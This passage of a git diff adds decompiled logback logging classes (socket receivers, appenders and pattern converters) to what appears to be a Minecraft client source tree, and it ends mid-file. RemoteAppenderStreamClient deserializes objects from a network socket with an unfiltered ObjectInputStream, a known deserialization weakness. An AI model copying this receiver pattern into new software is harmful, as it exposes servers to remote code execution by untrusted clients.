+  boolean stackTraceHeaderLine(StringBuilder sb, boolean topException)
+  {
+    return false;
+  }
+  
+  public Layout<ILoggingEvent> buildLayout() {
+    PatternLayout layout = new PatternLayout();
+    layout.getInstanceConverterMap().put("syslogStart", SyslogStartConverter.class.getName());
+    
+    if (suffixPattern == null) {
+      suffixPattern = "[%thread] %logger %msg";
+    }
+    layout.setPattern(getPrefixPattern() + suffixPattern);
+    layout.setContext(getContext());
+    layout.start();
+    return layout;
+  }
+  
+  private void setupStackTraceLayout() {
+    stackTraceLayout.getInstanceConverterMap().put("syslogStart", SyslogStartConverter.class.getName());
+    
+
+    stackTraceLayout.setPattern(getPrefixPattern() + stackTracePattern);
+    stackTraceLayout.setContext(getContext());
+    stackTraceLayout.start();
+  }
+  
+  public boolean isThrowableExcluded() {
+    return throwableExcluded;
+  }
+  
+
+
+
+
+
+
+  public void setThrowableExcluded(boolean throwableExcluded)
+  {
+    this.throwableExcluded = throwableExcluded;
+  }
+  
+
+
+
+
+
+  public String getStackTracePattern()
+  {
+    return stackTracePattern;
+  }
+  
+
+
+
+
+
+
+
+
+  public void setStackTracePattern(String stackTracePattern)
+  {
+    this.stackTracePattern = stackTracePattern;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/net/server/RemoteAppenderClient.java b/src/minecraft/ch/qos/logback/classic/net/server/RemoteAppenderClient.java
new file mode 100644
index 0000000..728adb1
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/net/server/RemoteAppenderClient.java
@@ -0,0 +1,10 @@
+package ch.qos.logback.classic.net.server;
+
+import ch.qos.logback.classic.LoggerContext;
+import ch.qos.logback.core.net.server.Client;
+
+abstract interface RemoteAppenderClient
+  extends Client
+{
+  public abstract void setLoggerContext(LoggerContext paramLoggerContext);
+}
diff --git a/src/minecraft/ch/qos/logback/classic/net/server/RemoteAppenderServerListener.java b/src/minecraft/ch/qos/logback/classic/net/server/RemoteAppenderServerListener.java
new file mode 100644
index 0000000..cb1c11b
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/net/server/RemoteAppenderServerListener.java
@@ -0,0 +1,48 @@
+package ch.qos.logback.classic.net.server;
+
+import ch.qos.logback.core.net.server.ServerSocketListener;
+import java.io.IOException;
+import java.net.ServerSocket;
+import java.net.Socket;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class RemoteAppenderServerListener
+  extends ServerSocketListener<RemoteAppenderClient>
+{
+  public RemoteAppenderServerListener(ServerSocket serverSocket)
+  {
+    super(serverSocket);
+  }
+  
+
+
+
+  protected RemoteAppenderClient createClient(String id, Socket socket)
+    throws IOException
+  {
+    return new RemoteAppenderStreamClient(id, socket);
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/net/server/RemoteAppenderServerRunner.java b/src/minecraft/ch/qos/logback/classic/net/server/RemoteAppenderServerRunner.java
new file mode 100644
index 0000000..4696ba4
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/net/server/RemoteAppenderServerRunner.java
@@ -0,0 +1,52 @@
+package ch.qos.logback.classic.net.server;
+
+import ch.qos.logback.classic.LoggerContext;
+import ch.qos.logback.core.net.server.ConcurrentServerRunner;
+import ch.qos.logback.core.net.server.ServerListener;
+import java.util.concurrent.Executor;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class RemoteAppenderServerRunner
+  extends ConcurrentServerRunner<RemoteAppenderClient>
+{
+  public RemoteAppenderServerRunner(ServerListener<RemoteAppenderClient> listener, Executor executor)
+  {
+    super(listener, executor);
+  }
+  
+
+
+
+  protected boolean configureClient(RemoteAppenderClient client)
+  {
+    client.setLoggerContext((LoggerContext)getContext());
+    return true;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/net/server/RemoteAppenderStreamClient.java b/src/minecraft/ch/qos/logback/classic/net/server/RemoteAppenderStreamClient.java
new file mode 100644
index 0000000..507ca8f
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/net/server/RemoteAppenderStreamClient.java
@@ -0,0 +1,141 @@
+package ch.qos.logback.classic.net.server;
+
+import ch.qos.logback.classic.Logger;
+import ch.qos.logback.classic.LoggerContext;
+import ch.qos.logback.classic.spi.ILoggingEvent;
+import ch.qos.logback.core.util.CloseUtil;
+import java.io.EOFException;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.ObjectInputStream;
+import java.net.Socket;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class RemoteAppenderStreamClient
+  implements RemoteAppenderClient
+{
+  private final String id;
+  private final Socket socket;
+  private final InputStream inputStream;
+  private LoggerContext lc;
+  private Logger logger;
+  
+  public RemoteAppenderStreamClient(String id, Socket socket)
+  {
+    this.id = id;
+    this.socket = socket;
+    inputStream = null;
+  }
+  
+
+
+
+
+
+
+
+
+  public RemoteAppenderStreamClient(String id, InputStream inputStream)
+  {
+    this.id = id;
+    socket = null;
+    this.inputStream = inputStream;
+  }
+  
+
+
+  public void setLoggerContext(LoggerContext lc)
+  {
+    this.lc = lc;
+    logger = lc.getLogger(getClass().getPackage().getName());
+  }
+  
+
+
+  public void close()
+  {
+    if (socket == null) return;
+    CloseUtil.closeQuietly(socket);
+  }
+  
+
+
+  public void run()
+  {
+    logger.info(this + ": connected");
+    ObjectInputStream ois = null;
+    try {
+      ois = createObjectInputStream();
+      for (;;)
+      {
+        ILoggingEvent event = (ILoggingEvent)ois.readObject();
+        
+
+        Logger remoteLogger = lc.getLogger(event.getLoggerName());
+        
+        if (remoteLogger.isEnabledFor(event.getLevel()))
+        {
+          remoteLogger.callAppenders(event);
+        }
+        
+      }
+      
+
+    }
+    catch (EOFException ex) {}catch (IOException ex)
+    {
+      logger.info(this + ": " + ex);
+    }
+    catch (ClassNotFoundException ex) {
+      logger.error(this + ": unknown event class");
+    }
+    catch (RuntimeException ex) {
+      logger.error(this + ": " + ex);
+    }
+    finally {
+      if (ois != null) {
+        CloseUtil.closeQuietly(ois);
+      }
+      close();
+      logger.info(this + ": connection closed");
+    }
+  }
+  
+  private ObjectInputStream createObjectInputStream() throws IOException {
+    if (inputStream != null) {
+      return new ObjectInputStream(inputStream);
+    }
+    return new ObjectInputStream(socket.getInputStream());
+  }
+  
+
+
+
+  public String toString()
+  {
+    return "client " + id;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/net/server/SSLServerSocketAppender.java b/src/minecraft/ch/qos/logback/classic/net/server/SSLServerSocketAppender.java
new file mode 100644
index 0000000..5067ff9
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/net/server/SSLServerSocketAppender.java
@@ -0,0 +1,53 @@
+package ch.qos.logback.classic.net.server;
+
+import ch.qos.logback.classic.net.LoggingEventPreSerializationTransformer;
+import ch.qos.logback.classic.spi.ILoggingEvent;
+import ch.qos.logback.core.net.server.SSLServerSocketAppenderBase;
+import ch.qos.logback.core.spi.PreSerializationTransformer;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SSLServerSocketAppender
+  extends SSLServerSocketAppenderBase<ILoggingEvent>
+{
+  private static final PreSerializationTransformer<ILoggingEvent> pst = new LoggingEventPreSerializationTransformer();
+  private boolean includeCallerData;
+  
+  public SSLServerSocketAppender() {}
+  
+  protected void postProcessEvent(ILoggingEvent event)
+  {
+    if (isIncludeCallerData()) {
+      event.getCallerData();
+    }
+  }
+  
+  protected PreSerializationTransformer<ILoggingEvent> getPST()
+  {
+    return pst;
+  }
+  
+  public boolean isIncludeCallerData() {
+    return includeCallerData;
+  }
+  
+  public void setIncludeCallerData(boolean includeCallerData) {
+    this.includeCallerData = includeCallerData;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/net/server/SSLServerSocketReceiver.java b/src/minecraft/ch/qos/logback/classic/net/server/SSLServerSocketReceiver.java
new file mode 100644
index 0000000..088cae2
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/net/server/SSLServerSocketReceiver.java
@@ -0,0 +1,69 @@
+package ch.qos.logback.classic.net.server;
+
+import ch.qos.logback.core.net.ssl.ConfigurableSSLServerSocketFactory;
+import ch.qos.logback.core.net.ssl.SSLComponent;
+import ch.qos.logback.core.net.ssl.SSLConfiguration;
+import ch.qos.logback.core.net.ssl.SSLParametersConfiguration;
+import javax.net.ServerSocketFactory;
+import javax.net.ssl.SSLContext;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SSLServerSocketReceiver
+  extends ServerSocketReceiver
+  implements SSLComponent
+{
+  private SSLConfiguration ssl;
+  private ServerSocketFactory socketFactory;
+  
+  public SSLServerSocketReceiver() {}
+  
+  protected ServerSocketFactory getServerSocketFactory()
+    throws Exception
+  {
+    if (socketFactory == null) {
+      SSLContext sslContext = getSsl().createContext(this);
+      SSLParametersConfiguration parameters = getSsl().getParameters();
+      parameters.setContext(getContext());
+      socketFactory = new ConfigurableSSLServerSocketFactory(parameters, sslContext.getServerSocketFactory());
+    }
+    
+    return socketFactory;
+  }
+  
+
+
+
+
+  public SSLConfiguration getSsl()
+  {
+    if (ssl == null) {
+      ssl = new SSLConfiguration();
+    }
+    return ssl;
+  }
+  
+
+
+
+  public void setSsl(SSLConfiguration ssl)
+  {
+    this.ssl = ssl;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/net/server/ServerSocketAppender.java b/src/minecraft/ch/qos/logback/classic/net/server/ServerSocketAppender.java
new file mode 100644
index 0000000..b346698
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/net/server/ServerSocketAppender.java
@@ -0,0 +1,55 @@
+package ch.qos.logback.classic.net.server;
+
+import ch.qos.logback.classic.net.LoggingEventPreSerializationTransformer;
+import ch.qos.logback.classic.spi.ILoggingEvent;
+import ch.qos.logback.core.net.server.AbstractServerSocketAppender;
+import ch.qos.logback.core.spi.PreSerializationTransformer;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ServerSocketAppender
+  extends AbstractServerSocketAppender<ILoggingEvent>
+{
+  private static final PreSerializationTransformer<ILoggingEvent> pst = new LoggingEventPreSerializationTransformer();
+  private boolean includeCallerData;
+  
+  public ServerSocketAppender() {}
+  
+  protected void postProcessEvent(ILoggingEvent event)
+  {
+    if (isIncludeCallerData()) {
+      event.getCallerData();
+    }
+  }
+  
+  protected PreSerializationTransformer<ILoggingEvent> getPST()
+  {
+    return pst;
+  }
+  
+  public boolean isIncludeCallerData() {
+    return includeCallerData;
+  }
+  
+  public void setIncludeCallerData(boolean includeCallerData) {
+    this.includeCallerData = includeCallerData;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/net/server/ServerSocketReceiver.java b/src/minecraft/ch/qos/logback/classic/net/server/ServerSocketReceiver.java
new file mode 100644
index 0000000..e171017
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/net/server/ServerSocketReceiver.java
@@ -0,0 +1,177 @@
+package ch.qos.logback.classic.net.server;
+
+import ch.qos.logback.classic.net.ReceiverBase;
+import ch.qos.logback.core.Context;
+import ch.qos.logback.core.net.server.ServerListener;
+import ch.qos.logback.core.net.server.ServerRunner;
+import ch.qos.logback.core.util.CloseUtil;
+import java.io.IOException;
+import java.net.InetAddress;
+import java.net.ServerSocket;
+import java.net.UnknownHostException;
+import java.util.concurrent.Executor;
+import javax.net.ServerSocketFactory;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ServerSocketReceiver
+  extends ReceiverBase
+{
+  public static final int DEFAULT_BACKLOG = 50;
+  private int port = 4560;
+  private int backlog = 50;
+  
+  private String address;
+  private ServerSocket serverSocket;
+  private ServerRunner runner;
+  
+  public ServerSocketReceiver() {}
+  
+  protected boolean shouldStart()
+  {
+    try
+    {
+      ServerSocket serverSocket = getServerSocketFactory().createServerSocket(getPort(), getBacklog(), getInetAddress());
+      
+
+      ServerListener<RemoteAppenderClient> listener = createServerListener(serverSocket);
+      
+
+      runner = createServerRunner(listener, getContext().getExecutorService());
+      runner.setContext(getContext());
+      return true;
+    }
+    catch (Exception ex) {
+      addError("server startup error: " + ex, ex);
+      CloseUtil.closeQuietly(this.serverSocket); }
+    return false;
+  }
+  
+
+  protected ServerListener<RemoteAppenderClient> createServerListener(ServerSocket socket)
+  {
+    return new RemoteAppenderServerListener(socket);
+  }
+  
+
+  protected ServerRunner createServerRunner(ServerListener<RemoteAppenderClient> listener, Executor executor)
+  {
+    return new RemoteAppenderServerRunner(listener, executor);
+  }
+  
+  protected Runnable getRunnableTask()
+  {
+    return runner;
+  }
+  
+
+  protected void onStop()
+  {
+    try
+    {
+      if (runner == null) return;
+      runner.stop();
+    }
+    catch (IOException ex) {
+      addError("server shutdown error: " + ex, ex);
+    }
+  }
+  
+
+
+
+
+
+  protected ServerSocketFactory getServerSocketFactory()
+    throws Exception
+  {
+    return ServerSocketFactory.getDefault();
+  }
+  
+
+
+
+  protected InetAddress getInetAddress()
+    throws UnknownHostException
+  {
+    if (getAddress() == null) return null;
+    return InetAddress.getByName(getAddress());
+  }
+  
+
+
+
+  public int getPort()
+  {
+    return port;
+  }
+  
+
+
+
+  public void setPort(int port)
+  {
+    this.port = port;
+  }
+  
+
+
+
+
+
+
+
+  public int getBacklog()
+  {
+    return backlog;
+  }
+  
+
+
+
+
+
+
+
+  public void setBacklog(int backlog)
+  {
+    this.backlog = backlog;
+  }
+  
+
+
+
+  public String getAddress()
+  {
+    return address;
+  }
+  
+
+
+
+  public void setAddress(String address)
+  {
+    this.address = address;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/pattern/Abbreviator.java b/src/minecraft/ch/qos/logback/classic/pattern/Abbreviator.java
new file mode 100644
index 0000000..93f38bb
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/pattern/Abbreviator.java
@@ -0,0 +1,6 @@
+package ch.qos.logback.classic.pattern;
+
+public abstract interface Abbreviator
+{
+  public abstract String abbreviate(String paramString);
+}
diff --git a/src/minecraft/ch/qos/logback/classic/pattern/CallerDataConverter.java b/src/minecraft/ch/qos/logback/classic/pattern/CallerDataConverter.java
new file mode 100644
index 0000000..cb4b0ab
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/pattern/CallerDataConverter.java
@@ -0,0 +1,174 @@
+package ch.qos.logback.classic.pattern;
+
+import ch.qos.logback.classic.spi.CallerData;
+import ch.qos.logback.classic.spi.ILoggingEvent;
+import ch.qos.logback.core.Context;
+import ch.qos.logback.core.CoreConstants;
+import ch.qos.logback.core.boolex.EvaluationException;
+import ch.qos.logback.core.boolex.EventEvaluator;
+import ch.qos.logback.core.status.ErrorStatus;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Map;
+import java.util.regex.Pattern;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class CallerDataConverter
+  extends ClassicConverter
+{
+  public static final String DEFAULT_CALLER_LINE_PREFIX = "Caller+";
+  public static final String DEFAULT_RANGE_DELIMITER = "..";
+  private int depthStart = 0;
+  private int depthEnd = 5;
+  List<EventEvaluator<ILoggingEvent>> evaluatorList = null;
+  
+
+  final int MAX_ERROR_COUNT = 4;
+  int errorCount = 0;
+  
+  public CallerDataConverter() {}
+  
+  public void start() { String depthStr = getFirstOption();
+    if (depthStr == null) {
+      return;
+    }
+    try
+    {
+      if (isRange(depthStr)) {
+        String[] numbers = splitRange(depthStr);
+        if (numbers.length == 2) {
+          depthStart = Integer.parseInt(numbers[0]);
+          depthEnd = Integer.parseInt(numbers[1]);
+          checkRange();
+        } else {
+          addError("Failed to parse depth option as range [" + depthStr + "]");
+        }
+      } else {
+        depthEnd = Integer.parseInt(depthStr);
+      }
+    } catch (NumberFormatException nfe) {
+      addError("Failed to parse depth option [" + depthStr + "]", nfe);
+    }
+    
+    List optionList = getOptionList();
+    
+    if ((optionList != null) && (optionList.size() > 1)) {
+      int optionListSize = optionList.size();
+      for (int i = 1; i < optionListSize; i++) {
+        String evaluatorStr = (String)optionList.get(i);
+        Context context = getContext();
+        if (context != null) {
+          Map evaluatorMap = (Map)context.getObject("EVALUATOR_MAP");
+          
+          EventEvaluator<ILoggingEvent> ee = (EventEvaluator)evaluatorMap.get(evaluatorStr);
+          
+          if (ee != null) {
+            addEvaluator(ee);
+          }
+        }
+      }
+    }
+  }
+  
+  private boolean isRange(String depthStr) {
+    return depthStr.contains(getDefaultRangeDelimiter());
+  }
+  
+  private String[] splitRange(String depthStr) {
+    return depthStr.split(Pattern.quote(getDefaultRangeDelimiter()), 2);
+  }
+  
+  private void checkRange() {
+    if ((depthStart < 0) || (depthEnd < 0)) {
+      addError("Invalid depthStart/depthEnd range [" + depthStart + ", " + depthEnd + "] (negative values are not allowed)");
+    } else if (depthStart >= depthEnd) {
+      addError("Invalid depthEnd range [" + depthStart + ", " + depthEnd + "] (start greater or equal to end)");
+    }
+  }
+  
+  private void addEvaluator(EventEvaluator<ILoggingEvent> ee) {
+    if (evaluatorList == null) {
+      evaluatorList = new ArrayList();
+    }
+    evaluatorList.add(ee);
+  }
+  
+  public String convert(ILoggingEvent le) {
+    StringBuilder buf = new StringBuilder();
+    
+    if (evaluatorList != null) {
+      boolean printCallerData = false;
+      for (int i = 0; i < evaluatorList.size(); i++) {
+        EventEvaluator<ILoggingEvent> ee = (EventEvaluator)evaluatorList.get(i);
+        try {
+          if (ee.evaluate(le)) {
+            printCallerData = true;
+            break;
+          }
+        } catch (EvaluationException eex) {
+          errorCount += 1;
+          if (errorCount < 4) {
+            addError("Exception thrown for evaluator named [" + ee.getName() + "]", eex);
+          }
+          else if (errorCount == 4) {
+            ErrorStatus errorStatus = new ErrorStatus("Exception thrown for evaluator named [" + ee.getName() + "].", this, eex);
+            
+
+            errorStatus.add(new ErrorStatus("This was the last warning about this evaluator's errors.We don't want the StatusManager to get flooded.", this));
+            
+
+            addStatus(errorStatus);
+          }
+        }
+      }
+      
+
+      if (!printCallerData) {
+        return "";
+      }
+    }
+    
+    StackTraceElement[] cda = le.getCallerData();
+    if ((cda != null) && (cda.length > depthStart)) {
+      int limit = depthEnd < cda.length ? depthEnd : cda.length;
+      
+      for (int i = depthStart; i < limit; i++) {
+        buf.append(getCallerLinePrefix());
+        buf.append(i);
+        buf.append("\t at ");
+        buf.append(cda[i]);
+        buf.append(CoreConstants.LINE_SEPARATOR);
+      }
+      return buf.toString();
+    }
+    return CallerData.CALLER_DATA_NA;
+  }
+  
+  protected String getCallerLinePrefix()
+  {
+    return "Caller+";
+  }
+  
+  protected String getDefaultRangeDelimiter() {
+    return "..";
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/pattern/ClassNameOnlyAbbreviator.java b/src/minecraft/ch/qos/logback/classic/pattern/ClassNameOnlyAbbreviator.java
new file mode 100644
index 0000000..8917dcf
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/pattern/ClassNameOnlyAbbreviator.java
@@ -0,0 +1,36 @@
+package ch.qos.logback.classic.pattern;
+
+
+
+
+
+
+
+
+
+
+
+public class ClassNameOnlyAbbreviator
+  implements Abbreviator
+{
+  public ClassNameOnlyAbbreviator() {}
+  
+
+
+
+
+
+
+
+
+
+
+  public String abbreviate(String fqClassName)
+  {
+    int lastIndex = fqClassName.lastIndexOf('.');
+    if (lastIndex != -1) {
+      return fqClassName.substring(lastIndex + 1, fqClassName.length());
+    }
+    return fqClassName;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/pattern/ClassOfCallerConverter.java b/src/minecraft/ch/qos/logback/classic/pattern/ClassOfCallerConverter.java
new file mode 100644
index 0000000..1f7cf3d
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/pattern/ClassOfCallerConverter.java
@@ -0,0 +1,29 @@
+package ch.qos.logback.classic.pattern;
+
+import ch.qos.logback.classic.spi.ILoggingEvent;
+
+
+
+
+
+
+
+
+
+
+
+
+public class ClassOfCallerConverter
+  extends NamedConverter
+{
+  public ClassOfCallerConverter() {}
+  
+  protected String getFullyQualifiedName(ILoggingEvent event)
+  {
+    StackTraceElement[] cda = event.getCallerData();
+    if ((cda != null) && (cda.length > 0)) {
+      return cda[0].getClassName();
+    }
+    return "?";
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/pattern/ClassicConverter.java b/src/minecraft/ch/qos/logback/classic/pattern/ClassicConverter.java
new file mode 100644
index 0000000..a2d6ab3
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/pattern/ClassicConverter.java
@@ -0,0 +1,10 @@
+package ch.qos.logback.classic.pattern;
+
+import ch.qos.logback.classic.spi.ILoggingEvent;
+import ch.qos.logback.core.pattern.DynamicConverter;
+
+public abstract class ClassicConverter
+  extends DynamicConverter<ILoggingEvent>
+{
+  public ClassicConverter() {}
+}
diff --git a/src/minecraft/ch/qos/logback/classic/pattern/ContextNameConverter.java b/src/minecraft/ch/qos/logback/classic/pattern/ContextNameConverter.java
new file mode 100644
index 0000000..41d82ce
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/pattern/ContextNameConverter.java
@@ -0,0 +1,31 @@
+package ch.qos.logback.classic.pattern;
+
+import ch.qos.logback.classic.spi.ILoggingEvent;
+import ch.qos.logback.classic.spi.LoggerContextVO;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ContextNameConverter
+  extends ClassicConverter
+{
+  public ContextNameConverter() {}
+  
+  public String convert(ILoggingEvent event)
+  {
+    return event.getLoggerContextVO().getName();
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/pattern/DateConverter.java b/src/minecraft/ch/qos/logback/classic/pattern/DateConverter.java
new file mode 100644
index 0000000..9110ce9
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/pattern/DateConverter.java
@@ -0,0 +1,65 @@
+package ch.qos.logback.classic.pattern;
+
+import ch.qos.logback.classic.spi.ILoggingEvent;
+import ch.qos.logback.core.util.CachingDateFormatter;
+import java.util.List;
+import java.util.TimeZone;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DateConverter
+  extends ClassicConverter
+{
+  long lastTimestamp = -1L;
+  String timestampStrCache = null;
+  CachingDateFormatter cachingDateFormatter = null;
+  
+  public DateConverter() {}
+  
+  public void start() {
+    String datePattern = getFirstOption();
+    if (datePattern == null) {
+      datePattern = "yyyy-MM-dd HH:mm:ss,SSS";
+    }
+    
+    if (datePattern.equals("ISO8601")) {
+      datePattern = "yyyy-MM-dd HH:mm:ss,SSS";
+    }
+    try
+    {
+      cachingDateFormatter = new CachingDateFormatter(datePattern);
+    }
+    catch (IllegalArgumentException e)
+    {
+      addWarn("Could not instantiate SimpleDateFormat with pattern " + datePattern, e);
+      
+
+      cachingDateFormatter = new CachingDateFormatter("yyyy-MM-dd HH:mm:ss,SSS");
+    }
+    
+    List optionList = getOptionList();
+    
+
+    if ((optionList != null) && (optionList.size() > 1)) {
+      TimeZone tz = TimeZone.getTimeZone((String)optionList.get(1));
+      cachingDateFormatter.setTimeZone(tz);
+    }
+  }
+  
+  public String convert(ILoggingEvent le) {
+    long timestamp = le.getTimeStamp();
+    return cachingDateFormatter.format(timestamp);
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/pattern/EnsureExceptionHandling.java b/src/minecraft/ch/qos/logback/classic/pattern/EnsureExceptionHandling.java
new file mode 100644
index 0000000..d0287f8
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/pattern/EnsureExceptionHandling.java
@@ -0,0 +1,69 @@
+package ch.qos.logback.classic.pattern;
+
+import ch.qos.logback.classic.spi.ILoggingEvent;
+import ch.qos.logback.core.pattern.Converter;
+import ch.qos.logback.core.pattern.ConverterUtil;
+import ch.qos.logback.core.pattern.PostCompileProcessor;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class EnsureExceptionHandling
+  implements PostCompileProcessor<ILoggingEvent>
+{
+  public EnsureExceptionHandling() {}
+  
+  public void process(Converter<ILoggingEvent> head)
+  {
+    if (head == null)
+    {
+      throw new IllegalArgumentException("cannot process empty chain");
+    }
+    if (!chainHandlesThrowable(head)) {
+      Converter<ILoggingEvent> tail = ConverterUtil.findTail(head);
+      Converter<ILoggingEvent> exConverter = new ExtendedThrowableProxyConverter();
+      tail.setNext(exConverter);
+    }
+  }
+  
+
+
+
+
+
+
+
+  public boolean chainHandlesThrowable(Converter head)
+  {
+    Converter c = head;
+    while (c != null) {
+      if ((c instanceof ThrowableHandlingConverter)) {
+        return true;
+      }
+      c = c.getNext();
+    }
+    return false;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/pattern/ExtendedThrowableProxyConverter.java b/src/minecraft/ch/qos/logback/classic/pattern/ExtendedThrowableProxyConverter.java
new file mode 100644
index 0000000..c9f3cec
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/pattern/ExtendedThrowableProxyConverter.java
@@ -0,0 +1,28 @@
+package ch.qos.logback.classic.pattern;
+
+import ch.qos.logback.classic.spi.ILoggingEvent;
+import ch.qos.logback.classic.spi.StackTraceElementProxy;
+import ch.qos.logback.classic.spi.ThrowableProxyUtil;
+
+
+
+
+
+
+
+
+
+
+
+public class ExtendedThrowableProxyConverter
+  extends ThrowableProxyConverter
+{
+  public ExtendedThrowableProxyConverter() {}
+  
+  protected void extraData(StringBuilder builder, StackTraceElementProxy step)
+  {
+    ThrowableProxyUtil.subjoinPackagingData(builder, step);
+  }
+  
+  protected void prepareLoggingEvent(ILoggingEvent event) {}
+}
diff --git a/src/minecraft/ch/qos/logback/classic/pattern/FileOfCallerConverter.java b/src/minecraft/ch/qos/logback/classic/pattern/FileOfCallerConverter.java
new file mode 100644
index 0000000..0259798
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/pattern/FileOfCallerConverter.java
@@ -0,0 +1,28 @@
+package ch.qos.logback.classic.pattern;
+
+import ch.qos.logback.classic.spi.ILoggingEvent;
+
+
+
+
+
+
+
+
+
+
+
+public class FileOfCallerConverter
+  extends ClassicConverter
+{
+  public FileOfCallerConverter() {}
+  
+  public String convert(ILoggingEvent le)
+  {
+    StackTraceElement[] cda = le.getCallerData();
+    if ((cda != null) && (cda.length > 0)) {
+      return cda[0].getFileName();
+    }
+    return "?";
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/pattern/LevelConverter.java b/src/minecraft/ch/qos/logback/classic/pattern/LevelConverter.java
new file mode 100644
index 0000000..6c67f05
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/pattern/LevelConverter.java
@@ -0,0 +1,28 @@
+package ch.qos.logback.classic.pattern;
+
+import ch.qos.logback.classic.Level;
+import ch.qos.logback.classic.spi.ILoggingEvent;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class LevelConverter
+  extends ClassicConverter
+{
+  public LevelConverter() {}
+  
+  public String convert(ILoggingEvent le)
+  {
+    return le.getLevel().toString();
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/pattern/LineOfCallerConverter.java b/src/minecraft/ch/qos/logback/classic/pattern/LineOfCallerConverter.java
new file mode 100644
index 0000000..6dc37c7
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/pattern/LineOfCallerConverter.java
@@ -0,0 +1,28 @@
+package ch.qos.logback.classic.pattern;
+
+import ch.qos.logback.classic.spi.ILoggingEvent;
+
+
+
+
+
+
+
+
+
+
+
+public class LineOfCallerConverter
+  extends ClassicConverter
+{
+  public LineOfCallerConverter() {}
+  
+  public String convert(ILoggingEvent le)
+  {
+    StackTraceElement[] cda = le.getCallerData();
+    if ((cda != null) && (cda.length > 0)) {
+      return Integer.toString(cda[0].getLineNumber());
+    }
+    return "?";
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/pattern/LineSeparatorConverter.java b/src/minecraft/ch/qos/logback/classic/pattern/LineSeparatorConverter.java
new file mode 100644
index 0000000..ef77741
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/pattern/LineSeparatorConverter.java
@@ -0,0 +1,24 @@
+package ch.qos.logback.classic.pattern;
+
+import ch.qos.logback.classic.spi.ILoggingEvent;
+import ch.qos.logback.core.CoreConstants;
+
+
+
+
+
+
+
+
+
+
+public class LineSeparatorConverter
+  extends ClassicConverter
+{
+  public LineSeparatorConverter() {}
+  
+  public String convert(ILoggingEvent event)
+  {
+    return CoreConstants.LINE_SEPARATOR;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/pattern/LocalSequenceNumberConverter.java b/src/minecraft/ch/qos/logback/classic/pattern/LocalSequenceNumberConverter.java
new file mode 100644
index 0000000..d43e544
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/pattern/LocalSequenceNumberConverter.java
@@ -0,0 +1,35 @@
+package ch.qos.logback.classic.pattern;
+
+import ch.qos.logback.classic.spi.ILoggingEvent;
+import java.util.concurrent.atomic.AtomicLong;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class LocalSequenceNumberConverter
+  extends ClassicConverter
+{
+  AtomicLong sequenceNumber = new AtomicLong(System.currentTimeMillis());
+  
+  public LocalSequenceNumberConverter() {}
+  
+  public String convert(ILoggingEvent event) { return Long.toString(sequenceNumber.getAndIncrement()); }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/pattern/LoggerConverter.java b/src/minecraft/ch/qos/logback/classic/pattern/LoggerConverter.java
new file mode 100644
index 0000000..bd58c5f
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/pattern/LoggerConverter.java
@@ -0,0 +1,23 @@
+package ch.qos.logback.classic.pattern;
+
